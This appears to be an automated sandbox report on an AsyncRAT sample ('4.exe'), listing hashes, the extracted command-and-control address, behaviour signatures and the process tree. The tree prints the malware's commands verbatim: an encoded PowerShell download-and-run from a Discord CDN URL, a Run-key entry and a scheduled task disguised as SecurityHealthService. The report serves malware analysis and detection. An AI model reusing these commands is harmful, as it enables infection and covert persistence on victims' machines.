Analysis
-
max time kernel
134s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
24-12-2022 19:40
Static task
static1
Behavioral task
behavioral1
Sample
4.exe
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
4.exe
Resource
win10v2004-20220812-en
General
-
Target
4.exe
-
Size
5KB
-
MD5
808371d24bd7ce681e45a4893a0c2db8
-
SHA1
1463dbd8ac03f10a8a42033c46a9ccd02e5165f4
-
SHA256
05012029f292958279ee1e9a71f5760a438b2524d40dec747970a304e526377e
-
SHA512
896a5e1e32d8e986aef6eb50f78cc12173b3d4cc18a69d603b58a9fdb18783e1a59970649c0cb10beb67db0237f0b2e966f21e493288c2ffa46edf5fd85de05f
-
SSDEEP
96:WTj79bKCFmOHjtAwhvk+aKsJAYfsvvk+a20Lvud3ojbrl:U/9bRFZHjfhvk+9Y6vkC4ud6
Malware Config
Extracted
asyncrat
0.5.7B
DefenderSmartScren
217.64.31.3:8437
DefenderSmartScren
-
delay
3
-
install
false
-
install_file
SecurityHealtheurvice.exe
-
install_folder
%AppData%
Signatures
-
Async RAT payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/2552-149-0x0000000000400000-0x0000000000412000-memory.dmp asyncrat -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 3 3928 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 1 IoCs
Processes:
4.exepid process 4744 4.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
4.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation 4.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealthService = "C:\\Users\\Admin\\AppData\\Roaming\\SecurityHealthService\\SecurityHealthService.exe" powershell.exe -
Drops file in System32 directory 2 IoCs
Processes:
svchost.exedescription ioc process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{DA19E7D7-5B55-46BB-B9AD-B8C8FDCA02A5}.catalogItem svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{88D0106D-66A9-4778-98C9-EACEE4467F7A}.catalogItem svchost.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
4.exedescription pid process target process PID 4744 set thread context of 2552 4744 4.exe RegAsm.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
svchost.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString svchost.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Enumerates system info in registry 2 TTPs 2 IoCs
Processes:
svchost.exedescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU svchost.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 3928 powershell.exe 3928 powershell.exe 4884 powershell.exe 4884 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 3928 powershell.exe Token: SeDebugPrivilege 4884 powershell.exe -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
4.exepowershell.exe4.execmd.exedescription pid process target process PID 1152 wrote to memory of 3928 1152 4.exe powershell.exe PID 1152 wrote to memory of 3928 1152 4.exe powershell.exe PID 3928 wrote to memory of 4744 3928 powershell.exe 4.exe PID 3928 wrote to memory of 4744 3928 powershell.exe 4.exe PID 3928 wrote to memory of 4744 3928 powershell.exe 4.exe PID 4744 wrote to memory of 4884 4744 4.exe powershell.exe PID 4744 wrote to memory of 4884 4744 4.exe powershell.exe PID 4744 wrote to memory of 4884 4744 4.exe powershell.exe PID 4744 wrote to memory of 4940 4744 4.exe cmd.exe PID 4744 wrote to memory of 4940 4744 4.exe cmd.exe PID 4744 wrote to memory of 4940 4744 4.exe cmd.exe PID 4940 wrote to memory of 4564 4940 cmd.exe schtasks.exe PID 4940 wrote to memory of 4564 4940 cmd.exe schtasks.exe PID 4940 wrote to memory of 4564 4940 cmd.exe schtasks.exe PID 4744 wrote to memory of 2552 4744 4.exe RegAsm.exe PID 4744 wrote to memory of 2552 4744 4.exe RegAsm.exe PID 4744 wrote to memory of 2552 4744 4.exe RegAsm.exe PID 4744 wrote to memory of 2552 4744 4.exe RegAsm.exe PID 4744 wrote to memory of 2552 4744 4.exe RegAsm.exe PID 4744 wrote to memory of 2552 4744 4.exe RegAsm.exe PID 4744 wrote to memory of 2552 4744 4.exe RegAsm.exe PID 4744 wrote to memory of 2552 4744 4.exe RegAsm.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\4.exe"C:\Users\Admin\AppData\Local\Temp\4.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAcQB1ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA0ADUAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANQA1ADYAMAA0ADYANQA0ADQANAA2ADIAMgAzADMANwAwAC8AMQAwADUANQA2ADAANAA4ADgAOQA3ADYAMwA0ADUAMAA4ADkAMAAvAFMAZQBjAHUAcgBpAHQAeQBIAGUAYQBsAHQAaABTAGUAcgB2AGkAYwBlAC4AZQB4AGUAJwAsACAAPAAjAGwAdwBuACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcwBmAGMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAaQBkAGUAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcANAAuAGUAeABlACcAKQApADwAIwByAGIAaQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AGIAagAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAZQBxAHYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcANAAuAGUAeABlACcAKQA8ACMAegBpAGYAIwA+AA=="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\4.exe"C:\Users\Admin\AppData\Roaming\4.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SecurityHealthService';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SecurityHealthService' -Value '"C:\Users\Admin\AppData\Roaming\SecurityHealthService\SecurityHealthService.exe"' -PropertyType 'String'4⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"cmd" /C schtasks /create /tn \SecurityHealthService /tr "C:\Users\Admin\AppData\Roaming\SecurityHealthService\SecurityHealthService.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn \SecurityHealthService /tr "C:\Users\Admin\AppData\Roaming\SecurityHealthService\SecurityHealthService.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f5⤵
- Creates scheduled task(s)
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe#cmd4⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵
- Drops file in System32 directory
- Checks processor information in registry
- Enumerates system info in registry
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5e942aadc56bfd6885115fa4d65b56a04
SHA1ed778f04ec6ca615686ce9d239d7d4688715d6f2
SHA256450f4b18e27486e793dacde81f79112ffe1a659992b17fd103bf9a16e613c7b0
SHA512842711f37d9abd1fdf53a46529c1d0700e82da1973f0c3e6b66070efccc0393396560c3a0287719f2d641a4ede00a6da7cb072f07817c8cd0c45cd2ca46e61e4
-
C:\Users\Admin\AppData\Roaming\4.exeFilesize
87KB
MD5ca699117112a173ca7b289f1baf6c3c0
SHA1862f227d4fa0b4de892006d7fe19e610e9f1a676
SHA256db805d5ac09ea9d18a3016d4c70cbb52087604fe5ad23fd8043399c970c0c8a6
SHA512d9f82f6e18ce2eb624a5ee1e20618318fde7ffdcff834d9c0291f4971bd72ce9b7f5108bf45f11ceed4d1f526bad4842913e833a25e3d99a3235d6f87b4d2620
-
C:\Users\Admin\AppData\Roaming\4.exeFilesize
87KB
MD5ca699117112a173ca7b289f1baf6c3c0
SHA1862f227d4fa0b4de892006d7fe19e610e9f1a676
SHA256db805d5ac09ea9d18a3016d4c70cbb52087604fe5ad23fd8043399c970c0c8a6
SHA512d9f82f6e18ce2eb624a5ee1e20618318fde7ffdcff834d9c0291f4971bd72ce9b7f5108bf45f11ceed4d1f526bad4842913e833a25e3d99a3235d6f87b4d2620
-
memory/1152-135-0x00007FFD6C980000-0x00007FFD6D441000-memory.dmpFilesize
10.8MB
-
memory/1152-132-0x00000000009F0000-0x00000000009F8000-memory.dmpFilesize
32KB
-
memory/2552-149-0x0000000000400000-0x0000000000412000-memory.dmpFilesize
72KB
-
memory/2552-148-0x0000000000000000-mapping.dmp
-
memory/3928-140-0x00007FFD6C980000-0x00007FFD6D441000-memory.dmpFilesize
10.8MB
-
memory/3928-136-0x00007FFD6C980000-0x00007FFD6D441000-memory.dmpFilesize
10.8MB
-
memory/3928-137-0x00007FFD6C980000-0x00007FFD6D441000-memory.dmpFilesize
10.8MB
-
memory/3928-133-0x0000000000000000-mapping.dmp
-
memory/3928-134-0x0000021AAD2C0000-0x0000021AAD2E2000-memory.dmpFilesize
136KB
-
memory/4564-147-0x0000000000000000-mapping.dmp
-
memory/4744-142-0x0000000000B10000-0x0000000000B2C000-memory.dmpFilesize
112KB
-
memory/4744-143-0x00000000059B0000-0x0000000005F54000-memory.dmpFilesize
5.6MB
-
memory/4744-138-0x0000000000000000-mapping.dmp
-
memory/4884-152-0x0000000005420000-0x0000000005486000-memory.dmpFilesize
408KB
-
memory/4884-157-0x0000000072150000-0x000000007219C000-memory.dmpFilesize
304KB
-
memory/4884-150-0x0000000004C80000-0x00000000052A8000-memory.dmpFilesize
6.2MB
-
memory/4884-151-0x0000000004BC0000-0x0000000004BE2000-memory.dmpFilesize
136KB
-
memory/4884-166-0x0000000007190000-0x00000000071B2000-memory.dmpFilesize
136KB
-
memory/4884-153-0x0000000005500000-0x0000000005566000-memory.dmpFilesize
408KB
-
memory/4884-144-0x0000000000000000-mapping.dmp
-
memory/4884-155-0x0000000005B10000-0x0000000005B2E000-memory.dmpFilesize
120KB
-
memory/4884-156-0x00000000060F0000-0x0000000006122000-memory.dmpFilesize
200KB
-
memory/4884-146-0x00000000021E0000-0x0000000002216000-memory.dmpFilesize
216KB
-
memory/4884-158-0x00000000060B0000-0x00000000060CE000-memory.dmpFilesize
120KB
-
memory/4884-159-0x0000000007460000-0x0000000007ADA000-memory.dmpFilesize
6.5MB
-
memory/4884-160-0x0000000006E10000-0x0000000006E2A000-memory.dmpFilesize
104KB
-
memory/4884-161-0x0000000006E90000-0x0000000006E9A000-memory.dmpFilesize
40KB
-
memory/4884-162-0x0000000007090000-0x0000000007126000-memory.dmpFilesize
600KB
-
memory/4884-163-0x0000000007040000-0x000000000704E000-memory.dmpFilesize
56KB
-
memory/4884-164-0x0000000007150000-0x000000000716A000-memory.dmpFilesize
104KB
-
memory/4884-165-0x0000000007130000-0x0000000007138000-memory.dmpFilesize
32KB
-
memory/4940-145-0x0000000000000000-mapping.dmp